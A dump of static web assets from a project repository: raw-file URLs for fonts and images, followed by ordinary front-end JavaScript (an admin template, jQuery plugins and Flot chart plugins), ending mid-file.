/web/static/google/mx9Uck6uB63VIKFYnEMXrYX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/mx9Uck6uB63VIKFYnEMXrYX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/oHi30kwQWvpCWqAhzHcCSIX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/oHi30kwQWvpCWqAhzHcCSIX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/oMMgfZMQthOryQo9n22dcuvvDin1pK8aKteLpeZ5c0A.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/oMMgfZMQthOryQo9n22dcuvvDin1pK8aKteLpeZ5c0A.woff2
--------------------------------------------------------------------------------
/web/static/google/oOeFwZNlrTefzLYmlVV1UIX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/oOeFwZNlrTefzLYmlVV1UIX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/r3NqIkFHFaF3esZDc3WT5BkAz4rYn47Zy2rvigWQf6w.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/r3NqIkFHFaF3esZDc3WT5BkAz4rYn47Zy2rvigWQf6w.woff2
--------------------------------------------------------------------------------
/web/static/google/rGvHdJnr2l75qb0YND9NyIX0hVgzZQUfRDuZrPvH3D8.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/rGvHdJnr2l75qb0YND9NyIX0hVgzZQUfRDuZrPvH3D8.woff2
--------------------------------------------------------------------------------
/web/static/google/sTdaA6j0Psb920Vjv-mrzH-_kf6ByYO6CLYdB4HQE-Y.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/sTdaA6j0Psb920Vjv-mrzH-_kf6ByYO6CLYdB4HQE-Y.woff2
--------------------------------------------------------------------------------
/web/static/google/suoMYBGv5sGCUIrF9mVTfXYhjbSpvc47ee6xR_80Hnw.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/suoMYBGv5sGCUIrF9mVTfXYhjbSpvc47ee6xR_80Hnw.woff2
--------------------------------------------------------------------------------
/web/static/google/tnj4SB6DNbdaQnsM8CFqBX-_kf6ByYO6CLYdB4HQE-Y.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/tnj4SB6DNbdaQnsM8CFqBX-_kf6ByYO6CLYdB4HQE-Y.woff2
--------------------------------------------------------------------------------
/web/static/google/uYECMKoHcO9x1wdmbyHIm3-_kf6ByYO6CLYdB4HQE-Y.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/uYECMKoHcO9x1wdmbyHIm3-_kf6ByYO6CLYdB4HQE-Y.woff2
--------------------------------------------------------------------------------
/web/static/google/yJONObwbYmkcfKME0p1HqevvDin1pK8aKteLpeZ5c0A.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/google/yJONObwbYmkcfKME0p1HqevvDin1pK8aKteLpeZ5c0A.woff2
--------------------------------------------------------------------------------
/web/static/images/big/._bg2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/big/._bg2.jpg
--------------------------------------------------------------------------------
/web/static/images/big/bg3.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/big/bg3.jpg
--------------------------------------------------------------------------------
/web/static/images/big/bg4.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/big/bg4.jpg
--------------------------------------------------------------------------------
/web/static/images/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/favicon.ico
--------------------------------------------------------------------------------
/web/static/images/multiple-arrow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/web/static/images/multiple-arrow.png
--------------------------------------------------------------------------------
/web/static/js/detect.js:
--------------------------------------------------------------------------------
1 | /**
2 | * jQuery.browser.mobile (http://detectmobilebrowser.com/)
3 | *
4 | * jQuery.browser.mobile will be true if the browser is a mobile device
5 | *
6 | **/
7 | (function(a){(jQuery.browser=jQuery.browser||{}).mobile=/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera);
--------------------------------------------------------------------------------
/web/static/js/jquery.app.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Theme: Adminto Admin Template
3 | * Author: Coderthemes
4 | * Module/App: Main Js
5 | */
6 |
7 |
8 | !function($) {
9 | "use strict";
10 |
11 | var Navbar = function() {};
12 |
13 | //navbar - topbar
14 | Navbar.prototype.init = function () {
15 | //toggle
16 | $('.navbar-toggle').on('click', function (event) {
17 | $(this).toggleClass('open');
18 | $('#navigation').slideToggle(400);
19 | $('.cart, .search').removeClass('open');
20 | });
21 |
22 | $('.navigation-menu>li').slice(-1).addClass('last-elements');
23 |
24 | $('.navigation-menu li.has-submenu a[href="#"]').on('click', function (e) {
25 | if ($(window).width() < 992) {
26 | e.preventDefault();
27 | $(this).parent('li').toggleClass('open').find('.submenu:first').toggleClass('open');
28 | }
29 | });
30 |
31 | $(".right-bar-toggle").click(function(){
32 | $(".right-bar").toggle();
33 | $('.wrapper').toggleClass('right-bar-enabled');
34 | });
35 | },
36 | //init
37 | $.Navbar = new Navbar, $.Navbar.Constructor = Navbar
38 | }(window.jQuery),
39 |
40 | //initializing
41 | function($) {
42 | "use strict";
43 | $.Navbar.init()
44 | }(window.jQuery);
45 |
46 |
--------------------------------------------------------------------------------
/web/static/js/jquery.core.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Theme: Adminto Admin Template
3 | * Author: Coderthemes
4 | * Module/App: Core js
5 | */
6 |
7 |
8 | //portlets
9 | !function($) {
10 | "use strict";
11 |
12 | /**
13 | Portlet Widget
14 | */
15 | var Portlet = function() {
16 | this.$body = $("body"),
17 | this.$portletIdentifier = ".portlet",
18 | this.$portletCloser = '.portlet a[data-toggle="remove"]',
19 | this.$portletRefresher = '.portlet a[data-toggle="reload"]'
20 | };
21 |
22 | //on init
23 | Portlet.prototype.init = function() {
24 | // Panel closest
25 | var $this = this;
26 | $(document).on("click",this.$portletCloser, function (ev) {
27 | ev.preventDefault();
28 | var $portlet = $(this).closest($this.$portletIdentifier);
29 | var $portlet_parent = $portlet.parent();
30 |
31 |
32 | $portlet.slideUp("slow", function() {
33 | $(this).remove();
34 | });
35 | if ($portlet_parent.children().length == 0) {
36 | $portlet_parent.slideUp("slow", function() {
37 | $(this).remove();
38 | });
39 | }
40 | });
41 |
42 | // Panel Reload
43 | $(document).on("click",this.$portletRefresher, function (ev) {
44 | ev.preventDefault();
45 | var $portlet = $(this).closest($this.$portletIdentifier);
46 | // This is just a simulation, nothing is going to be reloaded
47 | $portlet.append('');
48 | var $pd = $portlet.find('.panel-disabled');
49 | setTimeout(function () {
50 | $pd.fadeOut('fast', function () {
51 | $pd.remove();
52 | });
53 | }, 500 + 300 * (Math.random() * 5));
54 | });
55 | },
56 | //
57 | $.Portlet = new Portlet, $.Portlet.Constructor = Portlet
58 |
59 | }(window.jQuery),
60 |
61 |
62 |
63 | /**
64 | * Components
65 | */
66 | function($) {
67 | "use strict";
68 |
69 | var Components = function() {};
70 |
71 | //initializing tooltip
72 | Components.prototype.initTooltipPlugin = function() {
73 | $.fn.tooltip && $('[data-toggle="tooltip"]').tooltip()
74 | },
75 |
76 | //initializing popover
77 | Components.prototype.initPopoverPlugin = function() {
78 | $.fn.popover && $('[data-toggle="popover"]').popover()
79 | },
80 |
81 | //initializing custom modal
82 | Components.prototype.initCustomModalPlugin = function() {
83 | $('[data-plugin="custommodal"]').on('click', function(e) {
84 | Custombox.open({
85 | target: $(this).attr("href"),
86 | effect: $(this).attr("data-animation"),
87 | overlaySpeed: $(this).attr("data-overlaySpeed"),
88 | overlayColor: $(this).attr("data-overlayColor")
89 | });
90 | e.preventDefault();
91 | });
92 | },
93 |
94 | //initializing nicescroll
95 | Components.prototype.initNiceScrollPlugin = function() {
96 | //You can change the color of scroll bar here
97 | $.fn.niceScroll && $(".nicescroll").niceScroll({ cursorcolor: '#98a6ad',cursorwidth:'6px', cursorborderradius: '5px'});
98 | },
99 |
100 | //range slider
101 | Components.prototype.initRangeSlider = function() {
102 | $.fn.slider && $('[data-plugin="range-slider"]').slider({});
103 | },
104 |
105 | /* -------------
106 | * Form related controls
107 | */
108 | //switch
109 | Components.prototype.initSwitchery = function() {
110 | $('[data-plugin="switchery"]').each(function (idx, obj) {
111 | new Switchery($(this)[0], $(this).data());
112 | });
113 | },
114 | //multiselect
115 | Components.prototype.initMultiSelect = function() {
116 | if($('[data-plugin="multiselect"]').length > 0)
117 | $('[data-plugin="multiselect"]').multiSelect($(this).data());
118 | },
119 |
120 | /* -------------
121 | * small charts related widgets
122 | */
123 | //peity charts
124 | Components.prototype.initPeityCharts = function() {
125 | $('[data-plugin="peity-pie"]').each(function(idx, obj) {
126 | var colors = $(this).attr('data-colors')?$(this).attr('data-colors').split(","):[];
127 | var width = $(this).attr('data-width')?$(this).attr('data-width'):20; //default is 20
128 | var height = $(this).attr('data-height')?$(this).attr('data-height'):20; //default is 20
129 | $(this).peity("pie", {
130 | fill: colors,
131 | width: width,
132 | height: height
133 | });
134 | });
135 | //donut
136 | $('[data-plugin="peity-donut"]').each(function(idx, obj) {
137 | var colors = $(this).attr('data-colors')?$(this).attr('data-colors').split(","):[];
138 | var width = $(this).attr('data-width')?$(this).attr('data-width'):20; //default is 20
139 | var height = $(this).attr('data-height')?$(this).attr('data-height'):20; //default is 20
140 | $(this).peity("donut", {
141 | fill: colors,
142 | width: width,
143 | height: height
144 | });
145 | });
146 |
147 | $('[data-plugin="peity-donut-alt"]').each(function(idx, obj) {
148 | $(this).peity("donut");
149 | });
150 |
151 | // line
152 | $('[data-plugin="peity-line"]').each(function(idx, obj) {
153 | $(this).peity("line", $(this).data());
154 | });
155 |
156 | // bar
157 | $('[data-plugin="peity-bar"]').each(function(idx, obj) {
158 | var colors = $(this).attr('data-colors')?$(this).attr('data-colors').split(","):[];
159 | var width = $(this).attr('data-width')?$(this).attr('data-width'):20; //default is 20
160 | var height = $(this).attr('data-height')?$(this).attr('data-height'):20; //default is 20
161 | $(this).peity("bar", {
162 | fill: colors,
163 | width: width,
164 | height: height
165 | });
166 | });
167 | },
168 | Components.prototype.initKnob = function() {
169 | $('[data-plugin="knob"]').each(function(idx, obj) {
170 | $(this).knob();
171 | });
172 | },
173 |
174 | Components.prototype.initCircliful = function() {
175 | $('[data-plugin="circliful"]').each(function(idx, obj) {
176 | $(this).circliful();
177 | });
178 | },
179 |
180 | Components.prototype.initCounterUp = function() {
181 | var delay = $(this).attr('data-delay')?$(this).attr('data-delay'):100; //default is 100
182 | var time = $(this).attr('data-time')?$(this).attr('data-time'):1200; //default is 1200
183 | $('[data-plugin="counterup"]').each(function(idx, obj) {
184 | $(this).counterUp({
185 | delay: 100,
186 | time: 1200
187 | });
188 | });
189 | },
190 |
191 |
192 | //initilizing
193 | Components.prototype.init = function() {
194 | var $this = this;
195 | this.initTooltipPlugin(),
196 | this.initPopoverPlugin(),
197 | this.initNiceScrollPlugin(),
198 | this.initCustomModalPlugin(),
199 | this.initRangeSlider(),
200 | this.initSwitchery(),
201 | this.initMultiSelect(),
202 | this.initPeityCharts(),
203 | this.initKnob(),
204 | this.initCircliful(),
205 | this.initCounterUp(),
206 | //creating portles
207 | $.Portlet.init();
208 | },
209 |
210 | $.Components = new Components, $.Components.Constructor = Components
211 |
212 | }(window.jQuery),
213 | //initializing main application module
214 | function($) {
215 | "use strict";
216 | $.Components.init();
217 | }(window.jQuery);
218 |
219 |
220 |
221 |
222 |
--------------------------------------------------------------------------------
/web/static/js/jquery.counterup.min.js:
--------------------------------------------------------------------------------
1 | /*!
2 | * jquery.counterup.js 1.0
3 | *
4 | * Copyright 2013, Benjamin Intal http://gambit.ph @bfintal
5 | * Released under the GPL v2 License
6 | *
7 | * Date: Nov 26, 2013
8 | */(function(e){"use strict";e.fn.counterUp=function(t){var n=e.extend({time:400,delay:10},t);return this.each(function(){var t=e(this),r=n,i=function(){var e=[],n=r.time/r.delay,i=t.text(),s=/[0-9]+,[0-9]+/.test(i);i=i.replace(/,/g,"");var o=/^[0-9]+$/.test(i),u=/^[0-9]+\.[0-9]+$/.test(i),a=u?(i.split(".")[1]||[]).length:0;for(var f=n;f>=1;f--){var l=parseInt(i/n*f);u&&(l=parseFloat(i/n*f).toFixed(a));if(s)while(/(\d+)(\d{3})/.test(l.toString()))l=l.toString().replace(/(\d+)(\d{3})/,"$1,$2");e.unshift(l)}t.data("counterup-nums",e);t.text("0");var c=function(){t.text(t.data("counterup-nums").shift());if(t.data("counterup-nums").length)setTimeout(t.data("counterup-func"),r.delay);else{delete t.data("counterup-nums");t.data("counterup-nums",null);t.data("counterup-func",null)}};t.data("counterup-func",c);setTimeout(t.data("counterup-func"),r.delay)};t.waypoint(i,{offset:"100%",triggerOnce:!0})})}})(jQuery);
--------------------------------------------------------------------------------
/web/static/js/jquery.scrollTo.min.js:
--------------------------------------------------------------------------------
1 | /**
2 | * Copyright (c) 2007-2013 Ariel Flesler - afleslergmailcom | http://flesler.blogspot.com
3 | * Dual licensed under MIT and GPL.
4 | * @author Ariel Flesler
5 | * @version 1.4.6
6 | */
7 | ;(function($){var h=$.scrollTo=function(a,b,c){$(window).scrollTo(a,b,c)};h.defaults={axis:'xy',duration:parseFloat($.fn.jquery)>=1.3?0:1,limit:true};h.window=function(a){return $(window)._scrollable()};$.fn._scrollable=function(){return this.map(function(){var a=this,isWin=!a.nodeName||$.inArray(a.nodeName.toLowerCase(),['iframe','#document','html','body'])!=-1;if(!isWin)return a;var b=(a.contentWindow||a).document||a.ownerDocument||a;return/webkit/i.test(navigator.userAgent)||b.compatMode=='BackCompat'?b.body:b.documentElement})};$.fn.scrollTo=function(e,f,g){if(typeof f=='object'){g=f;f=0}if(typeof g=='function')g={onAfter:g};if(e=='max')e=9e9;g=$.extend({},h.defaults,g);f=f||g.duration;g.queue=g.queue&&g.axis.length>1;if(g.queue)f/=2;g.offset=both(g.offset);g.over=both(g.over);return this._scrollable().each(function(){if(e==null)return;var d=this,$elem=$(d),targ=e,toff,attr={},win=$elem.is('html,body');switch(typeof targ){case'number':case'string':if(/^([+-]=?)?\d+(\.\d+)?(px|%)?$/.test(targ)){targ=both(targ);break}targ=$(targ,this);if(!targ.length)return;case'object':if(targ.is||targ.style)toff=(targ=$(targ)).offset()}$.each(g.axis.split(''),function(i,a){var b=a=='x'?'Left':'Top',pos=b.toLowerCase(),key='scroll'+b,old=d[key],max=h.max(d,a);if(toff){attr[key]=toff[pos]+(win?0:old-$elem.offset()[pos]);if(g.margin){attr[key]-=parseInt(targ.css('margin'+b))||0;attr[key]-=parseInt(targ.css('border'+b+'Width'))||0}attr[key]+=g.offset[pos]||0;if(g.over[pos])attr[key]+=targ[a=='x'?'width':'height']()*g.over[pos]}else{var c=targ[pos];attr[key]=c.slice&&c.slice(-1)=='%'?parseFloat(c)/100*max:c}if(g.limit&&/^\d+$/.test(attr[key]))attr[key]=attr[key]<=0?0:Math.min(attr[key],max);if(!i&&g.queue){if(old!=attr[key])animate(g.onAfterFirst);delete attr[key]}});animate(g.onAfter);function animate(a){$elem.animate(attr,f,g.easing,a&&function(){a.call(this,targ,g)})}}).end()};h.max=function(a,b){var c=b=='x'?'Width':'Height',scroll='scroll'+c;if(!$(a).is('html,body'))return a[scroll]-$(a)[c.toLowerCase()]();var d='client'+c,html=a.ownerDocument.documentElement,body=a.ownerDocument.body;return Math.max(html[scroll],body[scroll])-Math.min(html[d],body[d])};function both(a){return typeof a=='object'?a:{top:a,left:a}}})(jQuery);
8 |
--------------------------------------------------------------------------------
/web/static/js/module.min.js:
--------------------------------------------------------------------------------
1 | !function(a,b){"function"==typeof define&&define.amd?define("simple-module",["jquery"],function(c){return a.returnExportsGlobal=b(c)}):"object"==typeof exports?module.exports=b(require("jquery")):a.SimpleModule=b(jQuery)}(this,function(a){var b,c=[].slice;return b=function(){function b(b){var c,d,e,f,g,h,i;if(this.opts=a.extend({},this.opts,b),(g=this.constructor)._connectedClasses||(g._connectedClasses=[]),e=function(){var a,b,d,e;for(d=this.constructor._connectedClasses,e=[],a=0,b=d.length;b>a;a++)c=d[a],f=c.pluginName.charAt(0).toLowerCase()+c.pluginName.slice(1),c.prototype._connected&&(c.prototype._module=this),e.push(this[f]=new c);return e}.call(this),this._connected)this.opts=a.extend({},this.opts,this._module.opts);else for(this._init(),h=0,i=e.length;i>h;h++)d=e[h],"function"==typeof d._init&&d._init();this.trigger("initialized")}return b.extend=function(a){var b,c,d;if(null!=a&&"object"==typeof a){for(b in a)c=a[b],"included"!==b&&"extended"!==b&&(this[b]=c);return null!=(d=a.extended)?d.call(this):void 0}},b.include=function(a){var b,c,d;if(null!=a&&"object"==typeof a){for(b in a)c=a[b],"included"!==b&&"extended"!==b&&(this.prototype[b]=c);return null!=(d=a.included)?d.call(this):void 0}},b.connect=function(a){if("function"==typeof a){if(!a.pluginName)throw new Error("Module.connect: cannot connect plugin without pluginName");return a.prototype._connected=!0,this._connectedClasses||(this._connectedClasses=[]),this._connectedClasses.push(a),a.pluginName?this[a.pluginName]=a:void 0}},b.prototype.opts={},b.prototype._init=function(){},b.prototype.on=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).on.apply(d,b),this},b.prototype.one=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).one.apply(d,b),this},b.prototype.off=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).off.apply(d,b),this},b.prototype.trigger=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).trigger.apply(d,b),this},b.prototype.triggerHandler=function(){var b,d;return b=1<=arguments.length?c.call(arguments,0):[],(d=a(this)).triggerHandler.apply(d,b)},b.prototype._t=function(){var a,b;return a=1<=arguments.length?c.call(arguments,0):[],(b=this.constructor)._t.apply(b,a)},b._t=function(){var a,b,d,e;return b=arguments[0],a=2<=arguments.length?c.call(arguments,1):[],d=(null!=(e=this.i18n[this.locale])?e[b]:void 0)||"",a.length>0?(d=d.replace(/([^%]|^)%(?:(\d+)\$)?s/g,function(b,c,d){return d?c+a[parseInt(d)-1]:c+a.shift()}),d.replace(/%%s/g,"%s")):d},b.i18n={"zh-CN":{}},b.locale="zh-CN",b}()});
--------------------------------------------------------------------------------
/web/static/js/npm.js:
--------------------------------------------------------------------------------
1 | // This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment.
2 | require('../../js/transition.js')
3 | require('../../js/alert.js')
4 | require('../../js/button.js')
5 | require('../../js/carousel.js')
6 | require('../../js/collapse.js')
7 | require('../../js/dropdown.js')
8 | require('../../js/modal.js')
9 | require('../../js/tooltip.js')
10 | require('../../js/popover.js')
11 | require('../../js/scrollspy.js')
12 | require('../../js/tab.js')
13 | require('../../js/affix.js')
--------------------------------------------------------------------------------
/web/static/js/plugins/flot/jquery.flot.resize.js:
--------------------------------------------------------------------------------
1 | /* Flot plugin for automatically redrawing plots as the placeholder resizes.
2 |
3 | Copyright (c) 2007-2013 IOLA and Ole Laursen.
4 | Licensed under the MIT license.
5 |
6 | It works by listening for changes on the placeholder div (through the jQuery
7 | resize event plugin) - if the size changes, it will redraw the plot.
8 |
9 | There are no options. If you need to disable the plugin for some plots, you
10 | can just fix the size of their placeholders.
11 |
12 | */
13 |
14 | /* Inline dependency:
15 | * jQuery resize event - v1.1 - 3/14/2010
16 | * http://benalman.com/projects/jquery-resize-plugin/
17 | *
18 | * Copyright (c) 2010 "Cowboy" Ben Alman
19 | * Dual licensed under the MIT and GPL licenses.
20 | * http://benalman.com/about/license/
21 | */
22 |
23 | (function($,h,c){var a=$([]),e=$.resize=$.extend($.resize,{}),i,k="setTimeout",j="resize",d=j+"-special-event",b="delay",f="throttleWindow";e[b]=250;e[f]=true;$.event.special[j]={setup:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.add(l);$.data(this,d,{w:l.width(),h:l.height()});if(a.length===1){g()}},teardown:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.not(l);l.removeData(d);if(!a.length){clearTimeout(i)}},add:function(l){if(!e[f]&&this[k]){return false}var n;function m(s,o,p){var q=$(this),r=$.data(this,d);r.w=o!==c?o:q.width();r.h=p!==c?p:q.height();n.apply(this,arguments)}if($.isFunction(l)){n=l;return m}else{n=l.handler;l.handler=m}}};function g(){i=h[k](function(){a.each(function(){var n=$(this),m=n.width(),l=n.height(),o=$.data(this,d);if(m!==o.w||l!==o.h){n.trigger(j,[o.w=m,o.h=l])}});g()},e[b])}})(jQuery,this);
24 |
25 | (function ($) {
26 | var options = { }; // no options
27 |
28 | function init(plot) {
29 | function onResize() {
30 | var placeholder = plot.getPlaceholder();
31 |
32 | // somebody might have hidden us and we can't plot
33 | // when we don't have the dimensions
34 | if (placeholder.width() == 0 || placeholder.height() == 0)
35 | return;
36 |
37 | plot.resize();
38 | plot.setupGrid();
39 | plot.draw();
40 | }
41 |
42 | function bindEvents(plot, eventHolder) {
43 | plot.getPlaceholder().resize(onResize);
44 | }
45 |
46 | function shutdown(plot, eventHolder) {
47 | plot.getPlaceholder().unbind("resize", onResize);
48 | }
49 |
50 | plot.hooks.bindEvents.push(bindEvents);
51 | plot.hooks.shutdown.push(shutdown);
52 | }
53 |
54 | $.plot.plugins.push({
55 | init: init,
56 | options: options,
57 | name: 'resize',
58 | version: '1.0'
59 | });
60 | })(jQuery);
--------------------------------------------------------------------------------
/web/static/js/plugins/flot/jquery.flot.tooltip.min.js:
--------------------------------------------------------------------------------
1 | /*
2 | * jquery.flot.tooltip
3 | *
4 | * description: easy-to-use tooltips for Flot charts
5 | * version: 0.6.2
6 | * author: Krzysztof Urbas @krzysu [myviews.pl]
7 | * website: https://github.com/krzysu/flot.tooltip
8 | *
9 | * build on 2013-09-30
10 | * released under MIT License, 2012
11 | */
12 | (function(t){var o={tooltip:!1,tooltipOpts:{content:"%s | X: %x | Y: %y",xDateFormat:null,yDateFormat:null,shifts:{x:10,y:20},defaultTheme:!0,onHover:function(){}}},i=function(t){this.tipPosition={x:0,y:0},this.init(t)};i.prototype.init=function(o){function i(t){var o={};o.x=t.pageX,o.y=t.pageY,s.updateTooltipPosition(o)}function e(t,o,i){var e=s.getDomElement();if(i){var n;n=s.stringFormat(s.tooltipOptions.content,i),e.html(n),s.updateTooltipPosition({x:o.pageX,y:o.pageY}),e.css({left:s.tipPosition.x+s.tooltipOptions.shifts.x,top:s.tipPosition.y+s.tooltipOptions.shifts.y}).show(),"function"==typeof s.tooltipOptions.onHover&&s.tooltipOptions.onHover(i,e)}else e.hide().html("")}var s=this;o.hooks.bindEvents.push(function(o,n){s.plotOptions=o.getOptions(),s.plotOptions.tooltip!==!1&&void 0!==s.plotOptions.tooltip&&(s.tooltipOptions=s.plotOptions.tooltipOpts,s.getDomElement(),t(o.getPlaceholder()).bind("plothover",e),t(n).bind("mousemove",i))}),o.hooks.shutdown.push(function(o,s){t(o.getPlaceholder()).unbind("plothover",e),t(s).unbind("mousemove",i)})},i.prototype.getDomElement=function(){var o;return t("#flotTip").length>0?o=t("#flotTip"):(o=t("").attr("id","flotTip"),o.appendTo("body").hide().css({position:"absolute"}),this.tooltipOptions.defaultTheme&&o.css({background:"#fff","z-index":"100",padding:"0.4em 0.6em","border-radius":"0.5em","font-size":"0.8em",border:"1px solid #111",display:"none","white-space":"nowrap"})),o},i.prototype.updateTooltipPosition=function(o){var i=t("#flotTip").outerWidth()+this.tooltipOptions.shifts.x,e=t("#flotTip").outerHeight()+this.tooltipOptions.shifts.y;o.x-t(window).scrollLeft()>t(window).innerWidth()-i&&(o.x-=i),o.y-t(window).scrollTop()>t(window).innerHeight()-e&&(o.y-=e),this.tipPosition.x=o.x,this.tipPosition.y=o.y},i.prototype.stringFormat=function(t,o){var i=/%p\.{0,1}(\d{0,})/,e=/%s/,s=/%x\.{0,1}(?:\d{0,})/,n=/%y\.{0,1}(?:\d{0,})/;return"function"==typeof t&&(t=t(o.series.label,o.series.data[o.dataIndex][0],o.series.data[o.dataIndex][1],o)),o.series.percent!==void 0&&(t=this.adjustValPrecision(i,t,o.series.percent)),o.series.label!==void 0&&(t=t.replace(e,o.series.label)),this.isTimeMode("xaxis",o)&&this.isXDateFormat(o)&&(t=t.replace(s,this.timestampToDate(o.series.data[o.dataIndex][0],this.tooltipOptions.xDateFormat))),this.isTimeMode("yaxis",o)&&this.isYDateFormat(o)&&(t=t.replace(n,this.timestampToDate(o.series.data[o.dataIndex][1],this.tooltipOptions.yDateFormat))),"number"==typeof o.series.data[o.dataIndex][0]&&(t=this.adjustValPrecision(s,t,o.series.data[o.dataIndex][0])),"number"==typeof o.series.data[o.dataIndex][1]&&(t=this.adjustValPrecision(n,t,o.series.data[o.dataIndex][1])),o.series.xaxis.tickFormatter!==void 